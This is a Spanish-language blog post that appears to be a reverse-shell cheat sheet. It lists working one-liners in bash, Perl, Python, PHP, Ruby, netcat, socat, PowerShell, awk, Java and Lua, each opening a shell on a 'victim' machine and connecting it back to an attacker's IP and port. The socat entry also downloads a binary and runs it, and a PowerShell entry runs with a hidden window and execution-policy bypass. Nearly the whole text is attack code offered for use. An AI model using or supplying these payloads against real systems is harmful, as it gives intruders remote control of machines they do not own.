Bash / SH:
Las shells reversas utilizando bash, funcionan en casi todos los sistemas linux.
En la maquina de la vÃctima:
bash -i >& /dev/tcp/IP/PUERTO 0>&1
Tambien podemos utilizar sh de la misma forma:
sh -i >& /dev/udp/IP/PUERTO 0>&1
Perl:
Con lenguaje de programación Perl tambien podremos conseguir shells reversas, aunque no estan comun que este instalado en lso sistemas
En sistemas Linux podremos utilizar lso siguientes:
perl -e 'use Socket;$i="IP";$p=PUERTO;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"IP:PUERTO");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
En maquina Windows podemos utilizar la siguiente:
perl -MIO -e '$c=newIO::Socket::INET(PeerAddr,"IP:PUERTO")STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python:
Luego tenemos el lenguaje de programación Python, este es muy conocido y viene instalado en la mayorÃa de distribuciones linux
En la máquina de la vÃctima en sistemas Linux:
IPv4
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PUERTO));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
export RHOST="10.0.0.1";export RPORT=PUERTO;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
En sistemas Windows podemos utilizar la siguiente:
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('IP', PUERTO)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
PHP:
PHP es un lenguaje de programación que es de sobra conocido y ques ta instalado en la mayorÃa de sistemas y distribuciones
php -r '$sock=fsockopen("IP",PUERTO);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("IP",PUERTO);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("IP",PUERTO);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("IP",PUERTO);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("IP",PUERTO);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("IP",PUERTO);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("IP",PUERTO);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Ruby:
Ruby es un lenguaje de scripting en alza y en el mundo del pentesting es conocido por su uso en Metasploit. Este lenguaje no es tan común como el resto y a veces resulta complicado encontrarlo instalado en los istemas
En sistemas linux podemos utilizar lo siguientes:
ruby -rsocket -e'f=TCPSocket.open("IP","PUERTO").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e'exit if fork;c=TCPSocket.new("IP","PUERTO");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
Y en los Sistemas Windows:
ruby -rsocket -e 'c=TCPSocket.new("IP","PUERTO");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat:
Netcat es una herramienta altamente utilizada en el mundo del pentesting uqe nos permite crear reverse shells
nc -e /bin/sh IP PUERTO
nc -e /bin/bash IP PUERTO
nc -c bash IP PUERTO
En el caso de Netcat podemos encontrarnos que el sistema tiene una version de netcat que no admite la opción -e el entonces podremos utilizar la siguiete opción:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc IP PUERTO >/tmp/f
O en el caso de ncat:
ncat IP PUERTO -e /bin/bash
ncat --udp IP PUERTO -e /bin/bash
Socat
socat file:`tty`,raw,echo=0 TCP-L:PUERTO
En la máquina victima:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PUERTO
En caso de que la máquina victima no disponga de socat podemos utilizar el siguiente:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PUERTO
Powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP",PUERTO);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PUERTO);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Awk
awk 'BEGIN {s = "/inet/tcp/0/IP/PUERTO"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Java
Java es un lenguaje de programación altamente utilizado que la podremos encontrar disponible en diversasa máquinas.
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/IP/PUERTO;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
String host="IP";
int port=PUERTO;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Lua
Lua es un lenguaje de programación multiparadigma, no es tan conocido como python pero se puede encontrar instalado en alguna máquina.
Solo Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','PUERTO');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows y Linux
lua5.1 -e 'local host, port = "IP", PUERTO local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
No hay comentarios:
Publicar un comentario